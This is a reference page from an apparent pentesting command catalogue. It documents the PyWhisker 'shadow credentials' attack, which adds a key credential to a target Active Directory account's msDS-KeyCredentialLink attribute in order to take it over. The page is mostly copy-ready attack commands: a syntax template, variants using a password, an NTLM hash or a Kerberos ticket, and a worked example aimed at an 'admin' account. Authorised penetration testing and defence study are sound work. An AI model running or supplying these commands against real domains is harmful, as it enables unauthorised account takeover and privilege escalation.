Command Manager

PyWhisker Shadow Credentials

Add shadow credentials to a target account's msDS-KeyCredentialLink attribute

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
python3
Category
Privilege Escalation / Delegation Abuse
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

python3 pywhisker.py -d '<domain>' -u '<user>' -p '<password>' --target '<target_user>' --action add --dc-ip <ip>

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

python3 pywhisker.py -d '<domain>' -u '<user>' --hashes ':<hash>' --target '<target_user>' --action add --dc-ip <ip>

Kerberos Ticket requires Kerberos ticket

python3 pywhisker.py -d '<domain>' -u '<user>' -k --target '<target_user>' --action add --dc-ip <ip>

Examples

python3 pywhisker.py -d 'corp.local' -u 'user' -p 'password' --target 'admin' --action add --dc-ip 192.168.1.100

Tags

pywhisker shadow-credentials msds-keycredentiallink delegation pkinit